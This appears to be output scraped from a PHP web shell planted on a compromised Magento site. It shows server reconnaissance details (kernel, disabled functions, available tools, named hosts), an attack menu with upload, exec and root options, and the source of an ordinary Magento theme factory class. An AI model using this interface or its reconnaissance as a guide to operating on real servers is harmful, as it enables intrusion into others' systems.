Kernel : Linux vmi616275.contaboserver.net 5.4.0-84-generic #94-Ubuntu SMP Thu Aug 26 20:27:37 UTC 2021 x86_64
Disable function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Safe mode : OFF
Host : diestoffstrasse.com | Server ip : 127.0.0.1 | Your ip : 127.0.0.1 | Time @ Server : 24 Aug 2025 08:08:55
MySQL : OFF | MSSQL : OFF | cURL : ON | Oracle : OFF | wget : ON | Perl : ON

/home/dev2.destoffenstraat.com/vendor-1/magento/framework/View/Design/Theme/

HOME about upload exec mass file domain root vuln newfile newfolder kill me

File Path : /home/dev2.destoffenstraat.com/vendor-1/magento/framework/View/Design/Theme/FlyweightFactory.php

<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Framework\View\Design\Theme; /** * Theme factory */ class FlyweightFactory { /** * Theme provider * * @var ThemeProviderInterface */ protected $themeProvider; /** * Themes * * @var \Magento\Framework\View\Design\ThemeInterface[] */ protected $themes = []; /** * Themes by path * * @var \Magento\Framework\View\Design\ThemeInterface[] */ protected $themesByPath = []; /** * Constructor * * @param ThemeProviderInterface $themeProvider */ public function __construct(ThemeProviderInterface $themeProvider) { $this->themeProvider = $themeProvider; } /** * Creates or returns a shared model of theme * * Search for theme in File System by specific path or load theme from DB * by specific path (e.g. adminhtml/Magento/backend) or by identifier (theme primary key) and return it * Can be used to deploy static or in other setup commands, even if Magento is not installed yet. * * @param string $themeKey Should looks like Magento/backend or should be theme primary key * @param string $area Can be adminhtml, frontend, etc... * @return \Magento\Framework\View\Design\ThemeInterface * @throws \InvalidArgumentException when incorrect $themeKey was specified * @throws \LogicException when theme with appropriate $themeKey was not found */ public function create($themeKey, $area = \Magento\Framework\View\DesignInterface::DEFAULT_AREA) { if (!is_numeric($themeKey) && !is_string($themeKey)) { throw new \InvalidArgumentException('Incorrect theme identification key'); } $themeKey = $this->extractThemeId($themeKey); if (is_numeric($themeKey)) { $themeModel = $this->_loadById($themeKey); } else { $themeModel = $this->_loadByPath($themeKey, $area); } if (!$themeModel->getCode()) { throw new \LogicException("Unable to load theme by specified key: '{$themeKey}'"); } $this->_addTheme($themeModel); return $themeModel; } /** * Attempt to determine a numeric theme ID from the specified path * * @param string $path * @return string */ private function extractThemeId($path) { $dir = \Magento\Framework\View\DesignInterface::PUBLIC_THEME_DIR; if (preg_match('/^' . preg_quote($dir, '/') . '(\d+)$/', $path, $matches)) { return $matches[1]; } return $path; } /** * Load theme by id * * @param int $themeId * @return \Magento\Framework\View\Design\ThemeInterface */ protected function _loadById($themeId) { if (isset($this->themes[$themeId])) { return $this->themes[$themeId]; } return $this->themeProvider->getThemeById($themeId); } /** * Load theme by theme path * * @param string $themePath * @param string $area * @return \Magento\Framework\View\Design\ThemeInterface */ protected function _loadByPath($themePath, $area) { $fullPath = $area . \Magento\Framework\View\Design\ThemeInterface::PATH_SEPARATOR . $themePath; if (isset($this->themesByPath[$fullPath])) { return $this->themesByPath[$fullPath]; } return $this->themeProvider->getThemeByFullPath($fullPath); } /** * Add theme to shared collection * * @param \Magento\Framework\View\Design\ThemeInterface $themeModel * @return $this */ protected function _addTheme(\Magento\Framework\View\Design\ThemeInterface $themeModel) { if ($themeModel->getId()) { $this->themes[$themeModel->getId()] = $themeModel; $themePath = $themeModel->getFullPath(); if ($themePath) { $this->themesByPath[$themePath] = $themeModel; } } return $this; } }